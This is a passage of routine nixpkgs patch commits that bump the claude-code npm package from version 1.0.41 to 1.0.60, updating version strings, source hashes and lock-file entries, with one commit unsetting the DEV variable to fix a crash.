       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 32f60a12b570..8b53245b6541 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.41";
+  version = "1.0.43";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-x8Bxh0iKqf8AsMQ+7zutSh53DbCRzM9s6s6BQkdbyXc=";
+    hash = "sha256-MPnctLow88Muzd9h5c6w/u0tO4Umrl6YJcp/1/BTFD4=";
   };
 
-  npmDepsHash = "sha256-LiCN8swT4ba+F1aMjHQqCsZUqcAW0qc4AiYL90Burk8=";
+  npmDepsHash = "sha256-jwT+W/oithQ0AHpFmmD3E6XIBZ5VdCHz61RstOhVFHQ=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From c4257ec9e59ca8e804253d1e929d25711969261b Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Tue, 8 Jul 2025 13:36:18 +0200
Subject: [PATCH 3759/4511] claude-code: 1.0.43 -> 1.0.44

Changelog:
https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md
(cherry picked from commit 5324092a43414e68950936b460b83060100f4336)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 2514fcaf8e94..028cc53b3dac 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.43"
+        "@anthropic-ai/claude-code": "^1.0.44"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.43",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.43.tgz",
-      "integrity": "sha512-VnuRK4s/R9ZRTkwH4gUjsp4SiBQXq7Y0B47OtgeXIZYVQYkhTW8m+E0IisFzXXFIyTQrE0SodGCpvgLhAYzGCg==",
+      "version": "1.0.44",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.44.tgz",
+      "integrity": "sha512-GCX0KeMcyhLlfs/dLWlMiHShAMmjt8d7xcVUS53z7VnV6s3cIIrRPsKQ/xX/Q9rFm5dSVmRnzU88Ku28fb3QKQ==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 8b53245b6541..24dfdbe5623e 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.43";
+  version = "1.0.44";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-MPnctLow88Muzd9h5c6w/u0tO4Umrl6YJcp/1/BTFD4=";
+    hash = "sha256-Dnooy0KNfhirTu7hv6DfwL7SHwf++CKtG8VHptNhcxU=";
   };
 
-  npmDepsHash = "sha256-jwT+W/oithQ0AHpFmmD3E6XIBZ5VdCHz61RstOhVFHQ=";
+  npmDepsHash = "sha256-Q3m4q0g/H5ZWmnMXSipRt3FUFu+SgDAJutVelQsv9ls=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 24a7f0eb89567d663025b53afb863602a85a658e Mon Sep 17 00:00:00 2001
From: zimbatm <zimbatm@zimbatm.com>
Date: Thu, 3 Jul 2025 15:25:12 +0200
Subject: [PATCH 3760/4511] claude-code: fix issue with DEV=true

When running in environments where DEV=true is set, claude would fail
with:

   TypeError: window.WebSocket is not a constructor

(cherry picked from commit 6ec4d5f023c3c000cda569255a3486e8710c39bf)
---
 pkgs/by-name/cl/claude-code/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 24dfdbe5623e..f4865fa4ab91 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -28,9 +28,11 @@ buildNpmPackage rec {
 
   # `claude-code` tries to auto-update by default, this disables that functionality.
   # https://docs.anthropic.com/en/docs/agents-and-tools/claude-code/overview#environment-variables
+  # The DEV=true env var causes claude to crash with `TypeError: window.WebSocket is not a constructor`
   postInstall = ''
     wrapProgram $out/bin/claude \
-      --set DISABLE_AUTOUPDATER 1
+      --set DISABLE_AUTOUPDATER 1 \
+      --unset DEV
   '';
 
   passthru.updateScript = ./update.sh;

From 967981326d0995efedde3e5ae1f3a2aacf60b246 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Thu, 10 Jul 2025 20:21:33 +0200
Subject: [PATCH 3761/4511] claude-code: 1.0.44 -> 1.0.48

(cherry picked from commit 3d13f8e03c1e76dadbb14d1aac01b68c15b7a545)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 028cc53b3dac..0ef129331cb8 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.44"
+        "@anthropic-ai/claude-code": "^1.0.48"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.44",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.44.tgz",
-      "integrity": "sha512-GCX0KeMcyhLlfs/dLWlMiHShAMmjt8d7xcVUS53z7VnV6s3cIIrRPsKQ/xX/Q9rFm5dSVmRnzU88Ku28fb3QKQ==",
+      "version": "1.0.48",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.48.tgz",
+      "integrity": "sha512-h63VBAZZ6Pl/DlYW2PjbfUeicZ4r9VSl8dymD3d+1lZEHwCPgfMpu3g+30+FDMs79Xqc7qSDm6CRnMApxhbjqw==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index f4865fa4ab91..6b5aa33d9b1c 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.44";
+  version = "1.0.48";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-Dnooy0KNfhirTu7hv6DfwL7SHwf++CKtG8VHptNhcxU=";
+    hash = "sha256-nl7NGiREuFpbr0if273FfbSpjD/BG8a/uMXfYtiZgbE=";
   };
 
-  npmDepsHash = "sha256-Q3m4q0g/H5ZWmnMXSipRt3FUFu+SgDAJutVelQsv9ls=";
+  npmDepsHash = "sha256-ppsyT+VXXaIP1ncuJx1I8M6eLTk7zP1KStf5nnWSwSo=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 8afaee98613bad06e7b2185f8ef62df16a51d06f Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Sat, 12 Jul 2025 09:21:30 +0200
Subject: [PATCH 3762/4511] claude-code: 1.0.48 -> 1.0.51

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md
(cherry picked from commit aa1d7dfa3e8ce340dcbdd8a3acde8b76b69c42d9)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 9 ++++-----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 0ef129331cb8..7c5f35c295f2 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,14 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.48"
+        "@anthropic-ai/claude-code": "^1.0.51"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.48",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.48.tgz",
-      "integrity": "sha512-h63VBAZZ6Pl/DlYW2PjbfUeicZ4r9VSl8dymD3d+1lZEHwCPgfMpu3g+30+FDMs79Xqc7qSDm6CRnMApxhbjqw==",
-      "hasInstallScript": true,
+      "version": "1.0.51",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.51.tgz",
+      "integrity": "sha512-annBc4ez7nDPbp+di6bjIQGiAdmdVln4k3gAYioym2MxOEl3py5s7SsoR+dNSmfgfIHUdKBTbtXnXD5rkmO5aA==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 6b5aa33d9b1c..3e486dcb6152 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.48";
+  version = "1.0.51";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-nl7NGiREuFpbr0if273FfbSpjD/BG8a/uMXfYtiZgbE=";
+    hash = "sha256-sAILRsi8ZViMfcpqykfnFQzHTJHRwRSZz45otMqa4U0=";
   };
 
-  npmDepsHash = "sha256-ppsyT+VXXaIP1ncuJx1I8M6eLTk7zP1KStf5nnWSwSo=";
+  npmDepsHash = "sha256-r/Na3lU7YQ8W5PUuL5EfPu1a/Rz6hBLw/9XmSrKHD1o=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From f23cfc1338c8bd3dd57cd4012da97f4511c528ff Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Thu, 17 Jul 2025 13:39:48 +0200
Subject: [PATCH 3763/4511] claude-code: 1.0.51 -> 1.0.53

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

- Updated @-mention file truncation from 100 lines to 2000 lines
- Added helper scripts for AWS token refresh (awsAuthRefresh, awsCredentialExport)
- Added support for MCP server instructions

(cherry picked from commit 236cfdcf0ab6a5d918f6798249bd5428a449016e)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 7c5f35c295f2..6d66f339500c 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.51"
+        "@anthropic-ai/claude-code": "^1.0.53"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.51",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.51.tgz",
-      "integrity": "sha512-annBc4ez7nDPbp+di6bjIQGiAdmdVln4k3gAYioym2MxOEl3py5s7SsoR+dNSmfgfIHUdKBTbtXnXD5rkmO5aA==",
+      "version": "1.0.53",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.53.tgz",
+      "integrity": "sha512-YE7PKtU1VPLtI3kCI4lvQyR+GE6v18ZvigO2mZqUUCqw537jeRMpAtVCtrp/onAuWUdHBYm7GhV0yDtsVc5Vug==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 3e486dcb6152..921a58c1fd7d 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.51";
+  version = "1.0.53";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-sAILRsi8ZViMfcpqykfnFQzHTJHRwRSZz45otMqa4U0=";
+    hash = "sha256-opFOUa/YtJDwhkD5dN+PL74z5NqkrRCVrU2RQu6xmEc=";
   };
 
-  npmDepsHash = "sha256-r/Na3lU7YQ8W5PUuL5EfPu1a/Rz6hBLw/9XmSrKHD1o=";
+  npmDepsHash = "sha256-e+WTydp3WIl6hZwbmv5SKM9XhcMJpYO5mTInT41/p2c=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 493ec9b6c27bc6322ffd5362f51026dcc68f03b5 Mon Sep 17 00:00:00 2001
From: Austin Seipp <aseipp@pobox.com>
Date: Thu, 17 Jul 2025 16:01:03 -0500
Subject: [PATCH 3764/4511] claude-code: 1.0.53 -> 1.0.54

Signed-off-by: Austin Seipp <aseipp@pobox.com>
(cherry picked from commit ca0afe8ff3b8bd812f4146eb7f4276246d768206)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 6d66f339500c..ddf0bc041939 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.53"
+        "@anthropic-ai/claude-code": "^1.0.54"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.53",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.53.tgz",
-      "integrity": "sha512-YE7PKtU1VPLtI3kCI4lvQyR+GE6v18ZvigO2mZqUUCqw537jeRMpAtVCtrp/onAuWUdHBYm7GhV0yDtsVc5Vug==",
+      "version": "1.0.54",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.54.tgz",
+      "integrity": "sha512-83K9hwLE68G+WusGctrQBBQ6WGbbj2vy0cNZtv34LRj46u54+ujkZZRVbVR6Z0HkeLftXGSEVQsy0UuRZ1y7ZQ==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 921a58c1fd7d..2ec2c7cef348 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.53";
+  version = "1.0.54";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-opFOUa/YtJDwhkD5dN+PL74z5NqkrRCVrU2RQu6xmEc=";
+    hash = "sha256-eLYGalDQX6hde6ooB886oM8gRTVKKdLAtLTH8Z4b7FY=";
   };
 
-  npmDepsHash = "sha256-e+WTydp3WIl6hZwbmv5SKM9XhcMJpYO5mTInT41/p2c=";
+  npmDepsHash = "sha256-KxyE52kNgm7O7faz9HYdSJTzZK7qXUEGp/8y5dZjhto=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From d50381bb0843f2ae00a64c55662a76675327927f Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Fri, 18 Jul 2025 08:24:42 +0200
Subject: [PATCH 3765/4511] claude-code: 1.0.54 -> 1.0.55

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md
(cherry picked from commit 9cb255465d5699f4130edcf67d73f9a809791e13)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index ddf0bc041939..febac012ba76 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.54"
+        "@anthropic-ai/claude-code": "^1.0.55"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.54",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.54.tgz",
-      "integrity": "sha512-83K9hwLE68G+WusGctrQBBQ6WGbbj2vy0cNZtv34LRj46u54+ujkZZRVbVR6Z0HkeLftXGSEVQsy0UuRZ1y7ZQ==",
+      "version": "1.0.55",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.55.tgz",
+      "integrity": "sha512-gCYXKwnU84zhmbNIZaduUY5HtGHBP/SMOxT4i8FmiEGSOeL/nY78mNOawXkRny1Je87WRjWVCBdhRnaxLP5c0w==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 2ec2c7cef348..ce65518ee5c8 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.54";
+  version = "1.0.55";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-eLYGalDQX6hde6ooB886oM8gRTVKKdLAtLTH8Z4b7FY=";
+    hash = "sha256-xx7Nksfa0IN18i6MoU60olnY/BioS+W+OQmyETQYDHI=";
   };
 
-  npmDepsHash = "sha256-KxyE52kNgm7O7faz9HYdSJTzZK7qXUEGp/8y5dZjhto=";
+  npmDepsHash = "sha256-v7a3DQD2Syhr3ITX7yHyEtQMCnrXwaf7IXXtl7JS07Q=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From aaf310a74bb38f0759d40605c01853b3da75c8bc Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Sat, 19 Jul 2025 14:32:52 +0200
Subject: [PATCH 3766/4511] claude-code: 1.0.55 -> 1.0.56

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md
(cherry picked from commit 4e64a7de3e440cae71f9deb3bd2c44214f06e3e2)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index febac012ba76..2542da9f396f 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.55"
+        "@anthropic-ai/claude-code": "^1.0.56"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.55",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.55.tgz",
-      "integrity": "sha512-gCYXKwnU84zhmbNIZaduUY5HtGHBP/SMOxT4i8FmiEGSOeL/nY78mNOawXkRny1Je87WRjWVCBdhRnaxLP5c0w==",
+      "version": "1.0.56",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.56.tgz",
+      "integrity": "sha512-LYOlv9uXtLrJcJqSLvQlhy7shhC6MHEXuSGZ/+BazM4LY36ng3cmKjTCDny0kZQxa+u/+MYOXUrkmkJm2qR75Q==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index ce65518ee5c8..81098d5e9f0c 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.55";
+  version = "1.0.56";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-xx7Nksfa0IN18i6MoU60olnY/BioS+W+OQmyETQYDHI=";
+    hash = "sha256-q/17LfP5MWeKpt8akPXwMvkZ6Qhc+9IGpM6N34JuExY=";
   };
 
-  npmDepsHash = "sha256-v7a3DQD2Syhr3ITX7yHyEtQMCnrXwaf7IXXtl7JS07Q=";
+  npmDepsHash = "sha256-0hr5Tu2/0ETEgNb2s4BQGZXjsHrFzK+iD2ZtZNTlyoI=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 367c84b85f8d4af05d8877db91c02c2627fbd7f5 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Tue, 22 Jul 2025 08:03:52 +0200
Subject: [PATCH 3767/4511] claude-code: 1.0.56 -> 1.0.57

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md
(cherry picked from commit 3eed118bc5fc23504b8958ded6f33aacc425eb24)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 2542da9f396f..fd8b9d861d87 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.56"
+        "@anthropic-ai/claude-code": "^1.0.57"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.56",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.56.tgz",
-      "integrity": "sha512-LYOlv9uXtLrJcJqSLvQlhy7shhC6MHEXuSGZ/+BazM4LY36ng3cmKjTCDny0kZQxa+u/+MYOXUrkmkJm2qR75Q==",
+      "version": "1.0.57",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.57.tgz",
+      "integrity": "sha512-zMymGZzjG+JO9iKC5N5pAy8AxyHIMPCL6U3HYCR3vCj5M+Y0s3GAMma6GkvCXWFixRN6KSZItKw3HbQiaIBYlw==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 81098d5e9f0c..906cd5d0bbd1 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.56";
+  version = "1.0.57";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-q/17LfP5MWeKpt8akPXwMvkZ6Qhc+9IGpM6N34JuExY=";
+    hash = "sha256-BNaBl4NGS1x1emJux610HXwUg1QC1wauRZ6UXn3gcR0=";
   };
 
-  npmDepsHash = "sha256-0hr5Tu2/0ETEgNb2s4BQGZXjsHrFzK+iD2ZtZNTlyoI=";
+  npmDepsHash = "sha256-TxKqpiPpxEfYowQswMrcWIotAdmLvHJyQ56vK39asNs=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 13a976609ebede54bc3730ab3bc34661192e9c63 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Wed, 23 Jul 2025 10:09:38 +0200
Subject: [PATCH 3768/4511] claude-code: 1.0.57 -> 1.0.58

Updates claude-code to the latest version.

(cherry picked from commit 8c833e2a2d309acbfd13f1fbce9dfdfbf1fd2fa9)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index fd8b9d861d87..77556a1bbf20 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.57"
+        "@anthropic-ai/claude-code": "^1.0.58"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.57",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.57.tgz",
-      "integrity": "sha512-zMymGZzjG+JO9iKC5N5pAy8AxyHIMPCL6U3HYCR3vCj5M+Y0s3GAMma6GkvCXWFixRN6KSZItKw3HbQiaIBYlw==",
+      "version": "1.0.58",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.58.tgz",
+      "integrity": "sha512-XcfqklHSCuBRpVV9vZaAGvdJFAyVKb/UHz2VG9osvn1pRqY7e+HhIOU9X7LeI+c116QhmjglGwe+qz4jOC83CQ==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 906cd5d0bbd1..1d0a4be4d70c 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.57";
+  version = "1.0.58";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-BNaBl4NGS1x1emJux610HXwUg1QC1wauRZ6UXn3gcR0=";
+    hash = "sha256-Mp3S269iifNGSEz83IF6bqbgdy6Im1bQjR8oaaL3W8c=";
   };
 
-  npmDepsHash = "sha256-TxKqpiPpxEfYowQswMrcWIotAdmLvHJyQ56vK39asNs=";
+  npmDepsHash = "sha256-iAckljEIJFVtlySHjS414HUFg6XVSlPr8azYqTo1py8=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From fc373affaf72534e93e562e4c4f37decb2ccba31 Mon Sep 17 00:00:00 2001
From: Austin Seipp <aseipp@pobox.com>
Date: Thu, 24 Jul 2025 21:16:18 -0500
Subject: [PATCH 3769/4511] claude-code: 1.0.58 -> 1.0.60

Signed-off-by: Austin Seipp <aseipp@pobox.com>
(cherry picked from commit 9bc7e0c5586f653f3440847660930705d838e2c5)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 77556a1bbf20..f876f698ed47 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.58"
+        "@anthropic-ai/claude-code": "^1.0.60"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.58",
